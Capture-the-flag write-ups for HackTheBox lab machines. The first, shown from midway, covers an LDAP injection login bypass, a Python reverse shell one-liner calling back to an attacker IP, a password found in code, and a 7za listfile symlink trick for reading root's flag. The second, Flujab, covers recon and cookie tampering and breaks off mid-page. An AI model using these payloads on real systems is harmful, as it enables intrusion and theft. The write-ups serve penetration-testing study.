285449490011357156531651545652335570713167411445727140604172141456711102716717000
[x] THE TOKEN IS 285449490011357156531651545652335570713167411445727140604172141456711102716717000
```

### **3.2 OTP Generation**

Generate an OTP using the token string with [`stoken`](https://manpages.debian.org/testing/stoken/stoken.1.en.html):

```bash
$ stoken import --token=285449490011357156531651545652335570713167411445727140604172141456711102716717000

  Enter new password: 
  Confirm new password: 

$ stoken tokencode

  Enter PIN:
  PIN must be 4-8 digits.  Use '0000' for no PIN.
  Enter PIN: 0000
  83502926
```

Login using the credentials found/generated (**ldapuser**:**83502926**) then you are redirected to `/page.php`:

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MfdKK5sMmZA0VOix1CA%2F-MfdTnNsf2ZcXkRHyvvc%2Fimage.png?alt=media\&token=b5000fba-d53a-4cf1-b18a-86168e837793)

Page Source (`/page.php`):

```markup
...
<form action="/page.php" method="post" >
  <div class="form-group row">
    <div class="col-sm-12">
        </div>
  </div>
  <div class="form-group row">
    <label for="inputCmd" class="col-sm-2 col-form-label">Cmd</label>
    <div class="col-sm-10">
      <input type="text" class="form-control" id="inputCmd" name="inputCmd" placeholder="Command to issue">
    </div>
  </div>
  <div class="form-group row">
    <label for="inputOTP" class="col-sm-2 col-form-label">OTP</label>
    <div class="col-sm-10">
      <input type="OTP" class="form-control" id="inputOTP" name="inputOTP" placeholder="One Time Password">
      <!-- we'll change the schema in the next phase of the project (if and only if we will pass the VA/PT) -->
    </div>
  </div>
  <div class="form-group row">
    <div class="col-sm-10">
      <button type="submit" class="btn btn-primary  name="submit" value="Submit">Submit</button>
    </div>
  </div>
</form>
...
```

An error message pops up when fuzzing the `inputCmd`'s input:

```markup
<div class="col-sm-10">User must be member of root or adm group and have a registered token to issue commands on this server</div>
```

There was a `gidNumber` back during bruteforcing the available LDAP attributes:

* `root` and `adm` has group numbers **0** and **4** respectively
* Maybe `ldapuser`'s group number could be added to the check done by ***/page.php***

Maybe the group restriction could be bypassed by passing an LDAP injection as a username like `ldapuser))(|(gidNumber:2.5.13.14:=1000`when loggin in:

| USERNAME                                               | PASSWORD                       |
| ------------------------------------------------------ | ------------------------------ |
| ldapuser%29%29%28%7C%28gidNumber%3A2.5.13.14%3A%3D1000 | Generate an OTP using `stoken` |

Checking if `ldapuser`'s GID is ineed 1000:

```python
import requests as r
import urllib.parse as u

for i in range(1000, 1050):
    ldap_injection = "ldapuser))(|(gidNumber:2.5.13.14:=%d" % (i)
    data = { "inputUsername": u.quote(ldap_injection) }
    req = r.post("http://10.10.10.122/login.php", data=data)

    if "Cannot login" in req.text: break

print("[x] ldapuser's gidNumber : " + str(i))
```

The script returned the following --`[x] ldapuser's gidNumber : 1000`

{% hint style="info" %}
According to Microsoft, `gidNumber` has an [Enumeration Syntax](https://docs.microsoft.com/en-us/windows/desktop/adschema/s-enumeration) with a [Matching Rule](https://ldap.com/matching-rules/)

```
Integer Matching
...
integerMatch (OID 2.5.13.14): An equality matching rule that will consider two integer values 
equivalent if they represent the same number.
```

{% endhint %}

Using the new username, The group restriction no longer applies.

## PART 4 : Generate User Shell

### 4.1 Reverse Shell as apache

On the local machine:

```
nc -lvp 4444
```

Sending a reverse shell on **/page.php**:

| inputCmd                                                                                                                                                                                                                              | inputOTP                       |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------ |
| `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.12.62",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'` | Generate an OTP using `stoken` |

While inside the reverse shell:

```bash
$ id

  uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0

$ cat /etc/passwd | grep bash

  root:x:0:0:root:/root:/bin/bash
  ldapuser:x:1000:1000::/home/ldapuser:/bin/bash

$ ls -lah

  [...omitted...]
  -rw-r-----. 1 root   apache 5.0K Oct 23  2018 login.php
  -rw-r-----. 1 root   apache   68 Oct 23  2018 logout.php
  -rw-r-----. 1 root   apache 5.2K Oct 23  2018 page.php
  [...omitted...]

$ cat login.php

  [...omitted...]
  $username = 'ldapuser';
  $password = 'e398e27d5c4ad45086fe431120932a01';
  [...omitted...]
```

### 4.2 SSH as ldapuser

Login as `ldapuser` via `ssh`:

```bash
$ ssh -l ldapuser 10.10.10.122

ldapuser@10.10.10.122's password: e398e27d5c4ad45086fe431120932a01
```

`ldapuser` shell:

```bash
$ id

  uid=1000(ldapuser) gid=1000(ldapuser) groups=1000(ldapuser) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

$ cat user.txt

  74a8e86f3f6ecd8010a660cfb44ee585
```

## PART 5 : Privilege Escalation (ldapuser -> root)

### 5.1 honeypot.sh

Enumerating the system using `ldapuser` shell:

```bash
$ ls -lah /

  [...omitted...]
  drwxr-xr-x.   2 root root 4.0K Jun 18 20:16 backup
  [...omitted...]

$ ls -lah /backup

  [...omitted...]
  -rw-r--r--.  1 root root   32 Jun 18 20:13 backup.1560881581.zip
  -rw-r--r--.  1 root root   32 Jun 18 20:14 backup.1560881641.zip
  -rw-r--r--.  1 root root   32 Jun 18 20:15 backup.1560881701.zip
  -rw-r--r--.  1 root root   32 Jun 18 20:16 backup.1560881761.zip
  -rw-r--r--.  1 root root   32 Jun 18 20:17 backup.1560881821.zip
  -rw-r--r--.  1 root root    0 Jun 18 20:17 error.log
  -rwxr--r--.  1 root root  975 Oct 23  2018 honeypot.sh
```

There is a script named `honeypot.sh` and **backup** files seem to be generated every minute:

```bash
# get banned ips from fail2ban jails and update banned.txt
# banned ips directily via firewalld permanet rules are **not** included in the list (they get kicked for only 10 seconds)
/usr/sbin/ipset list | grep fail2ban -A 7 | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | sort -u > /var/www/html/banned.txt
# awk '$1=$1' ORS='<br>' /var/www/html/banned.txt > /var/www/html/testfile.tmp && mv /var/www/html/testfile.tmp /var/www/html/banned.txt

# some vars in order to be sure that backups are protected
now=$(date +"%s")
filename="backup.$now"
pass=$(openssl passwd -1 -salt 0xEA31 -in /root/root.txt | md5sum | awk '{print $1}')

# keep only last 10 backups
cd /backup
ls -1t *.zip | tail -n +11 | xargs rm -f

# get the files from the honeypot and backup 'em all
cd /var/www/html/uploads
7za a /backup/$filename.zip -t7z -snl -p$pass -- * 

# cleaup the honeypot
rm -rf -- *

# comment the next line to get errors for debugging
truncate -s 0 /backup/error.log
```

{% hint style="info" %}
Breakdown of `honeypot.sh`:

```bash
ls -1t *.zip | tail -n +11 | xargs rm -f
```

* Keeps a maximum of 10 most recent backups in `/backup`.

```bash
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
```

* Backs everything up in `/var/www/html/uploads`
* The backups are password-protected and running `pspy` doesn't show when 7za is run which means that the password can't be intercepted.
* The `--` switch protects `7za` from **wildcard injection**.

```bash
rm -rf -- *
```

* Everything in `/var/www/html/uploads` are deleted after backup.

```bash
truncate -s 0 /backup/error.log
```

* Errors generated (maybe) are deleted after everything
  {% endhint %}

### 5.2 7za listfiles

Leveraging `honeypot.sh` by exploiting what `7za` can do:

```bash
$ 7za --help

  [...omitted...]
  Usage: 7za <command> [<switches>...] <archive_name> [<file_names>...] [<@listfiles...>]
  [...omitted...]
  <Switches>
    -- : Stop switches parsing
  [...omitted...]
    -snl : store symbolic links as links
  [...omitted...]
    -t{Type} : Set type of archive
  [...omitted...]
```

Since all switches after `--` will be ignored meaning **wildcard injection** is no longer a viable option but, `[<@listfiles...>]` could still be controlled

{% hint style="info" %}

* `@` references to a `listfile`
* A `listfile` contains one file per line
* Using absolute paths are helpful
* `7za` will archive the files in the `listfile`
  {% endhint %}

To leverage `@listfiles`, write a file to `/var/www/html/uploads`:

```bash
$ cd /var/www/html/uploads

$ ls -la
  
  ls: cannot open directory .: Permission denied

$ ls -lah ../
  
  [...omitted...]
  drwxr-x--x. 2 apache apache    6 Oct 23  2018 uploads
```

The reverse shell from earlier has a user `apache` so the permissions could be changed using **/page.php**

| inputCmd                          | inputOTP                       |
| --------------------------------- | ------------------------------ |
| `chmod 777 /var/www/html/uploads` | Generate an OTP using `stoken` |

Now, create ***relevant*** files:

```bash
$ cd /var/www/html/uploads

$ touch @list

$ ln -s /root/root.txt list

$ ls -lah

  drwxrwxrwx. 2 apache   apache    31 Jun 18 21:42 .
  drwxr-xr-x. 6 root     root     176 Oct 23  2018 ..
  lrwxrwxrwx. 1 ldapuser ldapuser  14 Jun 18 21:42 list -> /root/root.txt
  -rw-rw-r--. 1 ldapuser ldapuser   0 Jun 18 21:42 @list
```

Since `list` is not a valid ***listfile***, an error will be thrown. Attempting to capture `/backup/error.log` before contents are ***truncated*** by `honeypot.sh`:

```bash
$ while ! [ -s /backup/error.log ]; do : ; done; cat /backup/error.log

  WARNING: No more files
  fd6d2e53c995e6928cd0f040c79ba053
```


# HTB Flujab

10.10.10.124 | 40 pts

## PART 1 : INITIAL RECON

```
$ nmap --min-rate 1000 -p- -v 10.10.10.124

  PORT     STATE SERVICE
  22/tcp   open  ssh
  80/tcp   open  http
  443/tcp  open  https
  8080/tcp open  http-proxy

$ nmap -oN flujab.nmap -p22,80,443,8080 -sC -sV -v 10.10.10.124

  PORT     STATE SERVICE  VERSION
  22/tcp   open  ssh?
  80/tcp   open  http     nginx
  | http-methods: 
  |_  Supported Methods: GET HEAD POST OPTIONS
  |_http-server-header: ClownWare Proxy
  |_http-title: Did not follow redirect to https://10.10.10.124/
  443/tcp  open  ssl/http nginx
  | http-methods: 
  |_  Supported Methods: GET HEAD POST
  |_http-server-header: ClownWare Proxy
  |_http-title: Direct IP access not allowed | ClownWare
  | ssl-cert: Subject: commonName=ClownWare.htb/organizationName=ClownWare Ltd/stateOrProvinceName=LON/countryName=UK
  | Subject Alternative Name: DNS:clownware.htb, DNS:sni147831.clownware.htb, DNS:*.clownware.htb, DNS:proxy.clownware.htb, DNS:console.flujab.htb, DNS:sys.flujab.htb, DNS:smtp.flujab.htb, DNS:vaccine4flu.htb, DNS:bestmedsupply.htb, DNS:custoomercare.megabank.htb, DNS:flowerzrus.htb, DNS:chocolateriver.htb, DNS:meetspinz.htb, DNS:rubberlove.htb, DNS:freeflujab.htb, DNS:flujab.htb
  | Issuer: commonName=ClownWare Certificate Authority/organizationName=ClownWare Ltd./stateOrProvinceName=LON/countryName=UK
  | Public Key type: rsa
  | Public Key bits: 4096
  | Signature Algorithm: sha256WithRSAEncryption
  | Not valid before: 2018-11-28T14:57:03
  | Not valid after:  2023-11-27T14:57:03
  | MD5:   1f22 1ef7 c8bf d110 dfe6 2b6f 0765 2245
  |_SHA-1: 7013 803a 92b3 f1f0 735d 404b 733c 712b bea6 ffcc
  |_ssl-date: TLS randomness does not represent time
  | tls-alpn: 
  |_  http/1.1
  | tls-nextprotoneg: 
  |_  http/1.1
  8080/tcp open  ssl/http nginx
  | http-methods: 
  |_  Supported Methods: GET HEAD POST
  |_http-server-header: ClownWare Proxy
  |_http-title: Direct IP access not allowed | ClownWare
  | ssl-cert: Subject: commonName=ClownWare.htb/organizationName=ClownWare Ltd/stateOrProvinceName=LON/countryName=UK
  | Subject Alternative Name: DNS:clownware.htb, DNS:sni147831.clownware.htb, DNS:*.clownware.htb, DNS:proxy.clownware.htb, DNS:console.flujab.htb, DNS:sys.flujab.htb, DNS:smtp.flujab.htb, DNS:vaccine4flu.htb, DNS:bestmedsupply.htb, DNS:custoomercare.megabank.htb, DNS:flowerzrus.htb, DNS:chocolateriver.htb, DNS:meetspinz.htb, DNS:rubberlove.htb, DNS:freeflujab.htb, DNS:flujab.htb
  | Issuer: commonName=ClownWare Certificate Authority/organizationName=ClownWare Ltd./stateOrProvinceName=LON/countryName=UK
  | Public Key type: rsa
  | Public Key bits: 4096
  | Signature Algorithm: sha256WithRSAEncryption
  | Not valid before: 2018-11-28T14:57:03
  | Not valid after:  2023-11-27T14:57:03
  | MD5:   1f22 1ef7 c8bf d110 dfe6 2b6f 0765 2245
  |_SHA-1: 7013 803a 92b3 f1f0 735d 404b 733c 712b bea6 ffcc
  |_ssl-date: TLS randomness does not represent time
  | tls-alpn: 
  |_  http/1.1
  | tls-nextprotoneg: 
  |_  http/1.1
```

## PART 2 : PORT ENUMERATION

Various domains and subdomains were captured during the **`nmap`** scan and I added them to the **`/etc/hosts`** file:

```
127.0.0.1       localhost
127.0.1.1       kali f
10.10.10.124    clownware.htb              ///DEAD END
10.10.10.124    sni147831.clownware.htb    ///DEAD END
10.10.10.124    *.clownware.htb            ///DEAD END
10.10.10.124    proxy.clownware.htb        ///DEAD END
10.10.10.124    console.flujab.htb         ///DEAD END
10.10.10.124    sys.flujab.htb             ///DEAD END
10.10.10.124    smtp.flujab.htb
10.10.10.124    vaccine4flu.htb            ///DEAD END
10.10.10.124    bestmedsupply.htb          ///DEAD END 
10.10.10.124    custoomercare.megabank.htb 
10.10.10.124    flowerzrus.htb             ///DEAD END
10.10.10.124    chocolateriver.htb         ///DEAD END
10.10.10.124    meetspinz.htb              ///DEAD END
10.10.10.124    rubberlove.htb             ///DEAD END 
10.10.10.124    freeflujab.htb
10.10.10.124    flujab.htb                 ///DEAD END

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
```

From initial observations, most of the domains contain either an embedded image or video and **bestmedsupply.htb** and **flowerzrus.htb** only contains static ***.html*** pages. Three domains, however, seem worth exploring -- **`https://custoomercare.megabank.htb`**, **`smtp.flujab.htb`**, and **`freeflujab.htb`**

### **TCP PORT 443** (**`https://custoomercare.megabank.htb`**)

Opening **`https://custoomercare.megabank.htb`** on your browser loads the following and it explicitly says: "`The site ahead may contain harmful programs`"

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MjZ67vVO7NuV8m48rY1%2F-MjZT8QqUx4wanuyQ-zH%2Fimage.png?alt=media\&token=8c023092-5686-4c09-aaf7-aaa3bdf41ec4)

Running `gobuster`:

```
$ gobuster -k -u https://custoomercare.megabank.htb -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php

  [-] Wildcard response found: https://custoomercare.megabank.htb/48a44669-2c2f-4568-ac60-9d92eb6396db => 301
```

All `404` requests are redirected (`301`) to <https://clownware.htb/cwerror_pages.php> which contains the following error page:

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MjZ67vVO7NuV8m48rY1%2F-MjZTCn9pKXZCh1AJRvA%2Fimage.png?alt=media\&token=ffd01675-b315-4f94-a808-6e82be8f9f28)

Now, running `gobuster` but limiting response codes to only `200` :

```
$ gobuster -k -s 200 -u https://custoomercare.megabank.htb -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php

  /index.php (Status: 200)
  /shell.php (Status: 200)
```

And hidden in **`https://custoomercare.megabank.htb/shell.php`**'s page source:

```markup
<!--
53cret 5shell
shell.php?cmd=[commands]
-->
```

The webpage seems to accept shell commands -- `?cmd=id` returns `uid=0(root) gid=0(root) groups=0(root)` and `?cmd=ls` returns `root.txt` but `?cmd=cat root.txt` returns:

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MjZ67vVO7NuV8m48rY1%2F-MjZTOO-x_KESjVNcsAb%2Fimage.png?alt=media\&token=d4069ef7-5d3e-49f8-92ad-fa01868100ab)

The webpage is just a troll.

### **TCP PORT 443** (**`https://smtp.flujab.htb/`**)

Now moving on to **`https://smtp.flujab.htb/`** brings you to:

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MjZ67vVO7NuV8m48rY1%2F-MjZTSwBAnd_yG47DmXW%2Fimage.png?alt=media\&token=b9d4e132-ad44-47ca-a098-ea0365a92215)

With the following page source:

```markup
...omitted...

        <!-- Header -->
        <section id="header" class="wrapper style3">

            <!-- Logo -->
            <div id="logo">
                <h1><a href="/?login">SMTP Mail Configuration</a></h1>
                </br>
                <!-- NOW DEPRICATED! This function has been integrated into the new free service application!-->
            </div>
        </section>

...omitted...

    <h2>Log in here for your Mail-in-a-Box control panel.</h2>
    <form class="form-horizontal" role="form" onsubmit="do_login(); return false;">

...omitted...
```

The "free service application" being referred to must be **`https://freeflujab.htb`** which we'll get to in a bit.

Examining the **`do_login()`** function referenced as a form action:

```javascript
function do_login() {
  if ($('#loginEmail').val() == "") {
    show_modal_error("Login Failed", "Enter your email address.", function() {
         $('#loginEmail').focus();
    });
    return false;
  }
  if ($('#loginPassword').val() == "") {
    show_modal_error("Login Failed", "Enter your email password.", function() {
      $('#loginPassword').focus();
    });
    return false;
  }
  // Exchange the email address & password for an API key.
  api_credentials = [$('#loginEmail').val(), $('#loginPassword').val()]
  api(
    "/me",
    "GET",
    { },
    function(response){ 
      // This API call always succeeds. It returns a JSON object indicating
      // whether the request was authenticated or not.
      if (response.status != "ok") {
        // Show why the login failed.
        show_modal_error("Login Failed", response.reason)
        // Reset any saved credentials.
        do_logout();
      } else if (!("api_key" in response)) {
        // Login succeeded but user might not be authorized!
        show_modal_error("Login Failed", "You are not an administrator on this system.")
        // Reset any saved credentials.
        do_logout();
      } else {
        // Login succeeded.
        // Save the new credentials.
        api_credentials = [response.email, response.api_key];
        // Try to wipe the username/password information.
        $('#loginEmail').val('');
        $('#loginPassword').val('');
        // Remember the credentials.
        if (typeof localStorage != 'undefined' && typeof sessionStorage != 'undefined') {
          if ($('#loginRemember').val()) {
            localStorage.setItem("miab-cp-credentials", api_credentials.join(":"));
            sessionStorage.removeItem("miab-cp-credentials");
          } else {
            localStorage.removeItem("miab-cp-credentials");
            sessionStorage.setItem("miab-cp-credentials", api_credentials.join(":"));
          }
        }
        // Open the next panel the user wants to go to. Do this after the XHR response
        // is over so that we don't start a new XHR request while this one is finishing,
        // which confuses the loading indicator.
        setTimeout(function() { show_panel(!switch_back_to_panel || switch_back_to_panel == "login" ? 'system_status' : switch_back_to_panel) }, 300);
      }
    }
  )
}
```

**`api()`** is referenced by the included js file but is not defined anywhere so t he login functionality might be a **RABBIT HOLE**

### **TCP PORT 443** (**`https://freeflujab.htb/`**)

Lastly, we visit the referenced ***free service*** from earlier. Opening **`https://freeflujab.htb/`** on your browser leads you to:

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MjZ67vVO7NuV8m48rY1%2F-MjZTXNkgdqeowuAb0wo%2Fimage.png?alt=media\&token=1185145d-ab1d-49f1-bc8c-d10ffa6f0478)

One thing you'll notice is that the **`favicon.ico`** image doesn't load and viewing its contents reveal:

```php
<?php 
define('SafeIncludes', TRUE);
require_once('includes/get_host.php');
//                                                                                              /$$              
include('includes/tokens.php');//                                                               | $$              
//   /$$$$$$$  /$$$$$$  /$$   /$$  /$$$$$$   /$$$$$$$  /$$$$$$         /$$$$$$$  /$$$$$$   /$$$$$$$  /$$$$$$     
//  /$$_____/ /$$__  $$| $$  | $$ /$$__  $$ /$$_____/ /$$__  $$       /$$_____/ /$$__  $$ /$$__  $$ /$$__  $$    
// |  $$$$$$ | $$  \ $$| $$  | $$| $$  \__/| $$      | $$$$$$$$      | $$      | $$  \ $$| $$  | $$| $$$$$$$$    
//  \____  $$| $$  | $$| $$  | $$| $$      | $$      | $$_____/      | $$      | $$  | $$| $$  | $$| $$_____/    
//  /$$$$$$$/|  $$$$$$/|  $$$$$$/| $$      |  $$$$$$$|  $$$$$$$      |  $$$$$$$|  $$$$$$/|  $$$$$$$|  $$$$$$$    
// |_______/  \______/  \______/ |__/       \_______/ \_______/       \_______/ \______/  \_______/ \_______/    
include('includes/actions.php');                                                                                                              
//                                                                                                    /$$ /$$ /$$
include('includes/header.php');//                                                                    | $$| $$| $$
//                    /$$   /$$  /$$$$$$  /$$   /$$ /$$   /$$ /$$   /$$ /$$   /$$  /$$$$$$   /$$$$$$ | $$| $$| $$
//                   | $$  | $$ |____  $$| $$  | $$| $$  | $$| $$  | $$| $$  | $$ /$$__  $$ /$$__  $$| $$| $$| $$
//                   | $$  | $$  /$$$$$$$| $$  | $$| $$  | $$| $$  | $$| $$  | $$| $$$$$$$$| $$$$$$$$|__/|__/|__/
//                   | $$  | $$ /$$__  $$| $$  | $$| $$  | $$| $$  | $$| $$  | $$| $$_____/| $$_____/            
//                   |  $$$$$$$|  $$$$$$$|  $$$$$$$|  $$$$$$$|  $$$$$$$|  $$$$$$$|  $$$$$$$|  $$$$$$$ /$$ /$$ /$$
//                    \____  $$ \_______/ \____  $$ \____  $$ \____  $$ \____  $$ \_______/ \_______/|__/|__/|__/
//                    /$$  | $$           /$$  | $$ /$$  | $$ /$$  | $$ /$$  | $$                                
//                   |  $$$$$$/          |  $$$$$$/|  $$$$$$/|  $$$$$$/|  $$$$$$/                                
//                    \______/            \______/  \______/  \______/  \______/                                 
include('includes/scripts.php');
//                                                  ▄▄▄▄▄▄▄▄▄▄▄        
//                                             ▄▄▀▀▀▀          ▀▀▄▄    
//                                           ▄▀                   ▀▀▄    
//                                          █                        █
//                                         █                     ▄▀▀▀▀▀█▄
//                                        █▀                    █    ▄███
//                                        █                     █    ▀███
//                                        █     ▄▀▀██▀▄         █       █
//                                        █    █  ████ █         ▀▄▄▄▄▄█ 
//                                        █    █  ▀██▀ █               █
//                                        █    █       █              ▄▀
//                                        █    ▀▄     ▄▀  ▄▄▄▄▄▄▄▄▄   █  
//                                        █     ▀▀▀▀▀    █  ▀  ▀  █  ▄▀ 
//                                         █              ▀▄█▄█▄█▀ ▄▀
//                                          █                     ▄▀    
include('includes/path_handler.php');//      ▀▀▀▄          ▄▄▄▄▄▄▀▀
//                                            ▄▀         ▀▀  ▄▀ 
//                                          ▄▀               █
//                                         ▄▀                █  ▄▀▀▀█▀▀▄
//                                         █    █  █▀▀▀▄     █▀▀    █  █
//                                        ▄█    ▀▀▀    █     █    ▀▀   █
//                                        █▀▄          █      █▄       █
//                                        █  ▀▀▀▀▀█▄▄▄▄▀       ▀█▀▀▀▄▄▄▀
//                                        █                     █
//                                        █                     █
//                                        █                     █
//                                         █         ▀▄  ▄▀    █
//                                          █          █        ▀▄
//                                           █         █          █
//                                           █         █           ▀▄
//                                           █      ▄▀▀█▀▀▄        ▄▀▀██▀▄ 
//                                           █             █▀▄            █
//                                           ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀  ▀ ▀▀▀▀▀▀▀▀▀▀▀
include('includes/fortune.php');
?>
```

The **`favicon.ico`** is ***not*** an image and it seems to be the structure or template of the site's webpages.

While the other links seem to work fine,

> **`/?cancel`** redirects to **`/?ERROR=NOT_REGISTERED`**
>
> **`/?remind`** redirects to **`/?ERROR=NOT_REGISTERED`**

Attempting to book an appointment for a ***free flujab*** in **`/?book`**:

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MjZ67vVO7NuV8m48rY1%2F-MjZTbVMfnh07SFpXucg%2Fimage.png?alt=media\&token=cca8d1a1-6c74-42d9-9cb0-5e65926a147e)

But first checking page source to see how the form works:

```markup
...omitted...
<form method="post" action="?book">
  <div class="row aln-center">
    <div class="col-6 col-12-medium">
      <b>Book Your Appointment Today!</b>
      <br><br>
      <p>If rou are an existing patient registered with our surgery, 
      we’re here to keep you and your loved ones as healthy as possible, 
      with expert advice on how to protect yourself from seasonal 
      illnesses and ailments, including flu.
      </p>
      <p>Even at our fittest and healthiest, we can still catch the 
      flu. For those over 65, people with a medical condition or
      pregnant women, catching flu can be more serious and that’s
      why we are here to offer a FREE NHS funded flu vaccine.
      </p>
      Cricklestone Doctors Surgery<br>
      NHS England.
      <p></p>
    </div>
    <div class="col-6 col-12-small">
      <h2>Prefered Date: <input type="date" name="date" value="2018-11-30" min="2018-10-01" max="2019-03-31"><br><br>
      Prefered Time: <input type="time" name="time" value="09:00" min"09:00"="" max="16:45"></h2><br>
      <input type="text" name="fname" id="contact-name" placeholder="Patient First Name" required=""><br>
      <input type="text" name="lname" id="contact-name" placeholder="Patient Last Name" required=""><br>
      <input type="text" name="nhsnum" placeholder="NHS Number (if known)" pattern="NHS-\d{3}-\d{3}-\d{4}" title=" A Valid NHS Number Is Required e.g. NHS-012-345-6789"><br>
      <ul class="actions"><br>                            
        <center><input type="submit" class="style1" value="Request Appointment" name="submit"></center>
      </ul>
    </div>
  </div>
</form>
...omitted...
```

Now, booking with the following values:

```
date=2018-11-30
time=09:00
fname=jebidiah
lname=anthony
nhsnum=    
submit=Request+Appointment
```

And the HTML Response after booking:

```markup
...omitted...
<script>
  alert("Sorry, jebidiah anthony is not a registered patient!");
</script>
...omitted...
```

The form requires a registered patient and **`nhsnum`** is not a required field.

In the **`/?info`** page, there is a section dedicated to patient feedbacks formatted with a remark then first initial and surname:

```markup
...omitted...
<h2>What people say about us</h2></br>
<p>
 <i>"My boss would fire me if i missed a day of work, or couldn't do overtime when he needs me to. The online booking system made things so easy for me to range my flu jab."</i>
 <h3><i>A. Chun</i></h3>
</p>
<p>
  <i>"I normally hate injections, but the warm friendly atmosphere provided by the wonderful NHS staff helped dissolve all of my fears."</i>
  <h3><i>B. Smith</i></h3>
</p>
<p>
  <i>"Having a flu jab was as easy as pie.. pizza pie"</i>
  <h3><i>L. Feggola</i></h3>
</p>
<p>
  <i>"It so quick and painless, not to mention thousands of times safer than crossing the street!"</i>
  <h3><i>J. Walker</i></h3>
</p>
...omitted...
```

In order to use the services given, a patient must be registered in the system and the register option doesn't really seem to work and educated guesses might be necessary for a valid patient name.

Educated guesses for a registered patient: **Johnnie Walker**, **Johny Walker**, **John Walker**, **Jay Walker**.

Examining cookies might also prove useful when validating users:

* HTTP Request:

```http
GET / HTTP/1.1
Cookie: Patient=daf23866abcb8e29ecee6d3da0caa992; Registered=ZGFmMjM4NjZhYmNiOGUyOWVjZWU2ZDNkYTBjYWE5OTI9TnVsbA%3D%3D
```

> The base64 decoded `Registered` cookie is **`daf23866abcb8e29ecee6d3da0caa992=Null`** which seems connected to the `Patient` cookie

* HTTP Response:

```http
HTTP/1.1 200 OK
Set-Cookie: Modus=Q29uZmlndXJlPU51bGw%3D; expires=Mon, ..-May-2019 ..:..:.. GMT; Max-Age=3600; path=/?smtp_config
```

> The base64 decoded **`Modus`** cookie is **`Configure=Null`**
>
> There is a path set in the cookie **`/?smtp_config`**. This must be the one referenced earlier by **`https://smtp.flujab.htb`** (***This function has been integrated into the new free service application***)
>
> `Modus`, `Patient`, and `Registered` are set in the response if not requested.

Checking for the response headers of **`https://freeflujab.htb/?smtp_config`**:

```
$ curl -I -k https://freeflujab.htb/?smtp_config
```

```http
HTTP/1.1 302 Found
Date: ..., .. May 2019 ..:..:.. GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Set-Cookie: Modus=Q29uZmlndXJlPU51bGw%3D; expires=..., ..-May-2019 ..:..:.. GMT; Max-Age=3600; path=/?smtp_config
Set-Cookie: Patient=daf23866abcb8e29ecee6d3da0caa992; expires=..., ..-May-2019 ..:..:.. GMT; Max-Age=3600; path=/
Set-Cookie: Registered=ZGFmMjM4NjZhYmNiOGUyOWVjZWU2ZDNkYTBjYWE5OTI9VHJ1ZQ%3D%3D; expires=..., ..-May-2019 ..:..:.. GMT; Max-Age=3600; path=/
Location: /?denied
Server: ClownWare Proxy
```

The page redirects to **`/?denied`**... maybe the cookie needs to be set correctly to access the page.

## PART 3 : EXPLOITATION

Re-booking an appointment using educated guesses for a registered patient:

```
date=2018-11-30
time=09:00
fname=john
lname=walker
nhsnum=    
submit=Request+Appointment
```

* HTML Response:

```markup
...omitted...
<script>
  alert("Error! Could not connect to a mailserver at :25!");
</script>
...omitted...
```

* Response Cookies:

```http
HTTP/1.1 200 OK
Set-Cookie: Modus=Q29uZmlndXJlPU51bGw%3D; expires=..., ..-May-2019 ..:..:.. GMT; Max-Age=3600; path=/?smtp_config
Set-Cookie: Registered=ZGFmMjM4NjZhYmNiOGUyOWVjZWU2ZDNkYTBjYWE5OTI9VHJ1ZQ%3D%3D; expires=..., ..-May-2019 ..:..:.. GMT; Max-Age=0; path=/
```

**`John Walker`** is a registered patient however it seems that the booked appointment sends to a SMTP server (default port: 25). Since **`/?smtp_config`** was found/set in the cookies, perhaps the cookie is also the way to set a mailserver.

With a registered patient, the decoded base64 `Registered` cookie is now set to **`True`** (**`daf23866abcb8e29ecee6d3da0caa992=True`**). What if the `Modus` cookie is also set to **True**.

> Encoded (Base64) "**`Configure=True`**" : **`Q29uZmlndXJlPVRydWU=`**
>
> URL Encoded cookie: **`Modus=Q29uZmlndXJlPVRydWU%3D`**

Accessing **`/?smtp_config`** with the properly set cookies now returns the following responses:

```bash
$ cookie="Modus=Q29uZmlndXJlPVRydWU%3D;Patient=daf23866abcb8e29ecee6d3da0caa992;Registered=ZGFmMjM4NjZhYmNiOGUyOWVjZWU2ZDNkYTBjYWE5OTI9VHJ1ZQ%3D%3D;"

$ curl --cookie $cookie -I -k https://freeflujab.htb/?smtp_config
```

```http
HTTP/1.1 200 OK
Date: ..., .. May 2019 ..:..:.. GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Server: ClownWare Proxy
```

```
$ curl --cookie $cookie -k https://freeflujab.htb/?smtp_config
```

```markup
...
<div class="title">Mailer Configuration</div>
  <div class="container">
    <header class="style1">
